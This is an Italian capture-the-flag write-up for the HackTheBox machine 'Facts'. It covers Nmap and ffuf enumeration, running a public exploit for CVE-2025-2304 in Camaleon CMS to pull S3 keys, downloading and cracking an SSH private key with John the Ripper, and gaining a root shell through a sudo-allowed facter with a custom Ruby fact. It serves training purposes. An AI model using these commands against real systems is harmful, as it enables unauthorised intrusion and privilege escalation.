
HackTheBox — Facts (Facile/Linux) | CVE-2025-2304 + AWS S3 + Chiave SSH + Facter PrivEsc
Facts è una macchina Linux di livello facile che richiede lo sfruttamento di una vulnerabilità nota
(CVE-2025-2304) in Camaleon CMS per estrarre le credenziali locali di AWS S3.
L'enumerazione dei bucket S3 interni rivela una chiave privata SSH che deve essere forzata utilizzando John the Ripper per ottenere l'accesso iniziale.
L'elevazione dei privilegi viene ottenuta sfruttando una configurazione errata di sudo su /usr/bin/facter, che consente l'esecuzione di codice Ruby personalizzato per ottenere una shell root.
Catena d'attacco: Nmap → Camaleon CMS (CVE-2025-2304) → Enumerazione bucket S3 → Cracking chiave SSH → sudo facter → Root
Iniziamo con una scansione Nmap per identificare i servizi attivi sulla macchina target. Bash
nmap -sV -sC -oN nmap_facts 10.129.244.96
Risultati:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.26.3 (Ubuntu) |_http-title: facts |_http-server-header: nginx/1.26.3 (Ubuntu)

Nmap rivela due porte aperte: 22 (SSH) e 80 (HTTP). Il server web è basato su Nginx. Prima di poter interagire correttamente con il sito, dobbiamo aggiungere l'host facts.htb al nostro file /etc/hosts.
echo “10.129.244.96 facts.htb” | sudo tee -a /etc/hosts
Quando visitiamo il sito sulla porta 80, ci viene presentata una pagina web standard. Per scoprire percorsi nascosti, lanciamo un attacco di forza bruta sulle directory (ad esempio usando ffuf o gobuster).
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://facts.htb/FUZZ
L'enumerazione rivela diverse directory interessanti relative a un pannello di amministrazione (/admin, /admin.php, ecc.), tutte reindirizzate con uno stato 302 a http://facts.htb/admin/login.

Visitando la pagina di login e autenticandoci (o guardando il footer del pannello), scopriamo la tecnologia alla base del sito: Camaleon CMS.
Un dettaglio chiave attira la nostra attenzione nell'angolo in basso a destra: la versione del CMS è 2.9.0.

Sapendo che il server esegue Camaleon CMS 2.9.0, una rapida ricerca online ci porta a scoprire una vulnerabilità critica nota come CVE-2025-2304, che consente l'elevazione dei privilegi da un utente autenticato ad amministratore.
Troviamo un exploit pubblico su GitHub (creato da Alien0ne) e lo scarichiamo sulla nostra macchina attaccante.

Lanciamo l'exploit passando le credenziali in nostro possesso (ad esempio mattia:mattia) per elevarci ad amministratore, estrarre informazioni sensibili e quindi tornare al ruolo originale per non lasciare tracce evidenti.
python3 exploit.py -u http://facts.htb -U mattia -P mattia --newpass mattia -e -r
L'output dell'exploit è una miniera d'oro: riesce a estrarre le credenziali locali di AWS S3 e l'endpoint interno utilizzato dal server.
Access Key S3: AKIAA103ACAA5953D888
Secret Key S3: ELsaDX4pIZYwPJf+dVdUuoHtkwGsRPvKIGCmDfiR
Endpoint S3: http://localhost:54321 (che per noi diventa http://facts.htb:54321)

Con queste chiavi, possiamo configurare il nostro AWS CLI locale per interagire con il servizio S3 esposto dalla macchina.
aws configure
# Inserisci l'Access Key e la Secret Key appena trovate
# Regione predefinita: us
# Formato output predefinito: json
Ora possiamo elencare i bucket disponibili passando l'URL dell'endpoint personalizzato:
aws --endpoint-url http://facts.htb:54321 s3 ls
Troviamo due bucket: internal e randomfacts. Esplorando ricorsivamente il bucket internal, scopriamo una cartella .ssh contenente delle chiavi!
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/ --recursive
Scarichiamo il file id_ed25519 (la chiave privata SSH) sulla nostra macchina.
Abbiamo la chiave privata, ma è protetta da una passphrase. Per forzarla, utilizzeremo la suite John the Ripper. Per prima cosa, convertiamo la chiave in un formato che John possa leggere usando ssh2john:
ssh2john id_ed25519 > hash.txt
Successivamente, lanciamo l'attacco dizionario (usando il wordlist personalizzato my_guess.txt o il classico rockyou.txt):
john --wordlist=my_guess.txt hash.txt
La password viene decifrata con successo: dragonballz. Ora abbiamo tutto il necessario per accedere al server!

Ora che abbiamo tutto ciò che ci serve, possiamo sfruttare la seconda porta aperta trovata in precedenza: la porta SSH (22).
ssh -i id_ed25519 [email protected]
Useremo la password trovata prima: dragonballz. Siamo dentro!
Ora dobbiamo capire quale percorso possiamo sfruttare per ottenere l'accesso root, quindi usiamo sudo -l.
Percorso:
/usr/bin/facter
Per sfruttare questo percorso, usiamo un mini script:
echo 'Facter.add(:pwn) do
setcode do
exec (“/bin/bash -p”)
end
end' > /tmp/pwn.rb
E poi lo eseguiamo:
sudo /usr/bin/facter --custom-dir=/tmp pwn

Siamo ufficialmente root!!!
Ora dobbiamo solo trovare le due flag :)

NMAP — 2 porte scoperte (22, 80) ↓ Enumerazione web — Sezione Admin trovata ↓ Camaleon CMS -> CVE-2025-2304 ↓ Exploit + Impostazioni AWS ↓ John the ripper per l'hash ↓ Login SSH ↓ Sudo -l ↓ Script + Esecuzione ↓ ROOT ✅